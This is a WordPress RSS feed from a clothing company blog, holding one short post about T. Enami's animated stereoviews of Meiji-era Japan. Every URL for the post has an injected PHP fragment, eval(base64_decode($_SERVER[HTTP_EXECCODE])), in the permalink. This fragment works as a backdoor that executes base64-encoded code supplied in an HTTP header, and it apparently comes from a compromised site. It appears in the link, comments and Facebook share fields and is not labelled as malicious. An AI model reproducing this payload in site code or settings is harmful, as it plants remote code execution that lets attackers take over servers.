<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Frayed Threads Clothing Co. &#187; vintage photography</title>
	<atom:link href="http://www.frayedthreads.com/blog/tag/vintage-photography/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.frayedthreads.com/blog</link>
	<description>Where YOU and Art Collide</description>
	<lastBuildDate>Tue, 23 Nov 2010 18:14:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>Old Japan Seen Through Animated Stereoviews</title>
		<link>http://www.frayedthreads.com/blog/2009/12/07/old-japan-seen-through-animated-stereoviews/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.frayedthreads.com/blog/2009/12/07/old-japan-seen-through-animated-stereoviews/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 00:57:33 +0000</pubDate>
		<dc:creator>fraye5</dc:creator>
				<category><![CDATA[Animation]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[stereoscope]]></category>
		<category><![CDATA[stereoviews]]></category>
		<category><![CDATA[vintage photography]]></category>

		<guid isPermaLink="false">http://www.frayedthreads.com/blog/?p=242</guid>
		<description><![CDATA[Photographer T. Enami (1859-1929) captured a series of 3D stereoviews showing life of the Japanese during the Meiji-period. Stereoview photographs are two almost identical photos that when put together as an animation, gives the viewer a feeling of dimension. Who would think such subtlety would bring these old pictures to life and make them pop. [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><!-- Wordbooker created FB tags --> <fb:like layout="standard" show_faces="false" action="like" font="arial" colorscheme="light"  href="http://www.frayedthreads.com/blog/2009/12/07/old-japan-seen-through-animated-stereoviews/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/" width=""></fb:like>
<div style="float:right;"><!-- Wordbooker created FB tags --> <fb:share-button class="meta" type="button" href="http://www.frayedthreads.com/blog/2009/12/07/old-japan-seen-through-animated-stereoviews/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/" > </fb:share-button></div>
</div>
<p>Photographer T. Enami (1859-1929) captured a series of 3D stereoviews showing life of the Japanese during the Meiji-period.  Stereoview photographs are two almost identical photos that when put together as an animation, gives the viewer a feeling of dimension.  Who would think such subtlety would bring these old pictures to life and make them pop.</p>
<p><img src="http://i27.photobucket.com/albums/c154/Lizette9/stereoview_20.gif" border="0" alt="Photobucket"></a></p>
<p>View more of the photo series <a href="http://pinktentacle.com/2009/10/animated-stereoviews-of-old-japan/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.frayedthreads.com/blog/2009/12/07/old-japan-seen-through-animated-stereoviews/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

